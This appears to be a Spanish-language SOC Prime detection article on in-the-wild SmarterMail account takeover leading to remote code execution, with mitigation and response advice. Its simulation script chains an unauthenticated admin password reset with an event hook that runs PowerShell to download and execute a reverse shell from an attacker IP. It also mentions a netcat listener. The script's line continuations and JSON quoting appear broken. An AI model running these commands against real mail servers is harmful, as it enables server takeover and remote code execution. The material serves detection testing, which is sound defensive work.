SOC Prime Bias: Crítico

04 Feb 2026 13:59 UTC

DE&TH a las Vulnerabilidades: Huntress Detecta Toma de Cuenta de SmarterMail que Conduce a Ejecución Remota de Código

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
DE&TH a las Vulnerabilidades: Huntress Detecta Toma de Cuenta de SmarterMail que Conduce a Ejecución Remota de Código
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Huntress observó abuso en la naturaleza de dos fallos de SmarterMail que permiten la toma de control de cuentas privilegiadas y, en última instancia, la ejecución remota de código. Los atacantes inician flujos de restablecimiento de contraseña no autenticados para obtener un token privilegiado, y luego abusan de los ‘eventos del sistema’ de SmarterMail para ejecutar comandos para el reconocimiento del host. La actividad impactó a múltiples clientes y mostró signos de explotación amplia y automatizada a gran escala.

Investigación

Los analistas de Huntress reconstruyeron una secuencia consistente de solicitudes HTTP POST contra los puntos finales del API de SmarterMail que se utilizan para desencadenar restablecimientos de contraseña, autenticar, configurar eventos del sistema, agregar dominios controlados por atacantes y, más tarde, eliminar rastros. La cadena apunta a CVE-2026-23760 (toma de control de cuenta privilegiada) y CVE-2025-52691 (carga de archivo arbitraria). Las solicitudes usaban comúnmente el agente de usuario python-requests/2.32.4, y los operadores dejaron archivos result.txt que contenían la salida de reconocimiento de los comandos ejecutados.

Mitigación

Actualice SmarterMail a la compilación 9511 o posterior para abordar ambos CVEs. Revise y restrinja la exposición del API, deshabilite o restrinja los eventos del sistema innecesarios, y monitoree la actividad anómala del API que altera cuentas, eventos o dominios. Identifique y elimine cualquier evento del sistema y dominio creado por atacantes para eliminar la persistencia.

Respuesta

Busque el patrón de llamadas API sospechoso y el agente de usuario python-requests/2.32.4, bloquee las IPs de origen ofensivas y elimine los eventos del sistema maliciosos. Rote inmediatamente las credenciales privilegiadas. Realice forense de puntos finales para localizar result.txt y verificar si se prepararon cargas adicionales. Notifique a los usuarios/clientes afectados y proporcione una guía de remediación clara.

Flujo de Ataque

Ejecución de Simulación

Requisito previo: El chequeo pre-vuelo de Telemetría y Línea Base debe haber pasado.

Narrativa de Ataque y Comandos

  1. Reconocimiento: El atacante descubre que la instancia de SmarterMail ejecuta una versión vulnerable a CVE‑2026‑23760.
  2. Forzar Restablecimiento de Contraseña (T1098): Usando el punto final de restablecimiento de contraseña forzado para establecer una contraseña conocida para el cuenta de administrador privilegiada.
  3. Autenticar (T1078): Inicie sesión con las credenciales recién establecidas a través del punto final de autenticar-usuario obteniendo un token de sesión.
  4. Desplegar Hook de Evento Malicioso (T1569): POST un payload JSON elaborado a event-hook que apunta a una shell inversa de PowerShell alojada en el servidor del atacante.
  5. Ejecutar Ok/Ok ejecutar: El hook de evento corre automáticamente en el servidor web, generando una shell inversa para el atacante.
  6. Limpieza: Elimine el hook malicioso a través del punto final de eliminación de hook de evento (excluido de la detección).

Todos los pasos generan eventos HTTP POST que coinciden con los criterios de selección de la regla Sigma. selección

Script de Prueba de Regresión

#!/usr/bin/env bash
# -------------------------------------------------
# Simulación de Control de Cuenta SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Forzar restablecimiento de contraseña (no autenticado)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Autenticar y capturar token de sesión
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Desplegar hook de evento malicioso (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] Hook de evento malicioso desplegado. Esperando shell inversa..."

# 4. (Opcional) Esperar shell inversa – el atacante ejecuta el oyente por separado:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Limpieza – eliminar el hook (excluido de la detección)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Comandos de Limpieza

#!/usr/bin/env bash
# Eliminar cualquier hook malicioso residual y restablecer la contraseña del administrador

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Autenticar con la contraseña segura (si se conoce) o usar el token anterior
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Eliminar el hook de evento malicioso (si aún está presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Restablecer la contraseña del administrador a un valor conocido
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"